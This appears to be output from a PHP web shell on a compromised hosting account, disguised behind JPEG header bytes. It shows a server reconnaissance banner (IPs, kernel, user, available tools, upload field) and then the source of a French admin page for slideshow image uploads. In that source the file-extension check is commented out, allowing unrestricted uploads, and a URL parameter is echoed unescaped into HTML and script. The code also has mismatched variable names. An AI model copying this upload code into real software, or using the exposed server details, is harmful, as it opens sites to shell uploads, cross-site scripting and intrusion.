ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/ODLDDD_2/cp-admin/ |
Upload File : |
<?php
include_once('includes/header.php');
if(isset($_FILES['files']))
{
$errors= array();
foreach($_FILES['files']['tmp_name'] as $key => $tmp_name )
{
$file_name = $key.$_FILES['files']['name'][$key];
$file_size =$_FILES['files']['size'][$key];
$file_tmp =$_FILES['files']['tmp_name'][$key];
$file_type=$_FILES['files']['type'][$key];
//$extensions = array("jpeg","jpg","png");
//$file_ext=explode('.',$_FILES['image']['name'][$key]) ;
//$file_ext=end($file_ext);
//$file_ext=strtolower(end(explode('.',$_FILES['image']['name'][$key])));
//if(in_array($file_ext,$extensions ) === false){
// $errors[]="Fichier non autorisé !";
//}
if($_FILES['image']['size'][$key] > 2097152)
{
$errors[]='Fichier suppérieur à 2 MB !';
}
// Enregistrement des images sur le serveur
$desired_dir="../uploadfiles/full_slideshows/";
if(empty($errors)==true)
{
if(is_dir($desired_dir)==false)
{
mkdir("$desired_dir", 0700); // Créer un dossier si il n'existe pas
}
if(is_dir("$desired_dir/".$file_name)==false)
{
move_uploaded_file($file_tmp,"$desired_dir/".$file_name);
}
else
{
// renome les images si elles existe déjÃ
$new_dir="$desired_dir/".$file_name.time();
rename($file_tmp,$new_dir) ;
}
$requete = $bdd->prepare('INSERT INTO ' . $GLOBALS['db_table']['full_slideshow_pictures'] . ' (picture, content, slideshow, name) VALUES (:picture, :content, :slideshow, :name)');
$requete->execute(array(
'content' => $_POST['content'],
'name' => $_POST['name'],
'picture' => $file_name,
'slideshow' => $_GET['id']
));
}
else
{
echo '<h4 class="alert_error">';print_r($errors);echo '</h4>';
}
}
if(empty($error))
{
echo '<script>';
echo 'window.location = "./full_slideshow_content.php?id=' . $_GET['id'] . '"';
echo '</script>';
}
}
?>
<div class="container">
<div class="row">
<div class="span12">
<div class="page-header">
<h1>Ajouter Image(s) sur votre Full
<div class="pull-right">
<a href="full_slideshow_content.php?id=<?php echo $_GET['id']; ?>" class="btn btn-primary"><i class="icon-arrow-left"></i> Retour</a>
</div>
</h1>
</div>
</div>
</div>
<form action="add_full_slideshow_pictures.php?id=<?php echo $_GET['id']; ?>" method="POST" enctype="multipart/form-data">
<div class="well general" style="margin-top:0">
<div class="control-group">
<input type="file" name="files[]" multiple/>
<br /><br />
Dimensions recommandées : 1900px X 670px
<br />
Poids maximun : 900ko
</div>
</div>
<div class="control-group">
<label class="control-label" for="title">Titre :</label>
<div class="controls">
<input style="width:287px" name="name" id="name" value="" required="" type="text">
</div>
</div>
<br /><br /> <br />
Memo des class SlideFull : slider-gauche slider-bas slider-droite taille_GD blanc gris bleu rouge noir etc.
<?php
echo '<br /> <br />';
echo '<label class="control-label" for="title"><b>Texte sur image :</b></label>';
echo '<br />';
echo '<textarea rows="7" name="content" id="content" style="">'.$content.'</textarea>';
echo '<script>
var ckedit = CKEDITOR.replace( \'content\' ,{
filebrowserBrowseUrl : \'includes/filemanager/dialog.php?type=2&editor=ckeditor&fldr=\',
filebrowserUploadUrl : \'includes/filemanager/dialog.php?type=2&editor=ckeditor&fldr=\',
filebrowserImageBrowseUrl : \'includes/filemanager/dialog.php?type=1&editor=ckeditor&fldr=\'
});
</script>';
?>
<div class="form-actions">
<div class="btn-group">
<button type="submit" class="btn btn-success"><i class="icon-ok"></i> Enregistrer</button>
</div>
</div>
</form>
</div>
<?php
include_once('includes/footer.php');
?>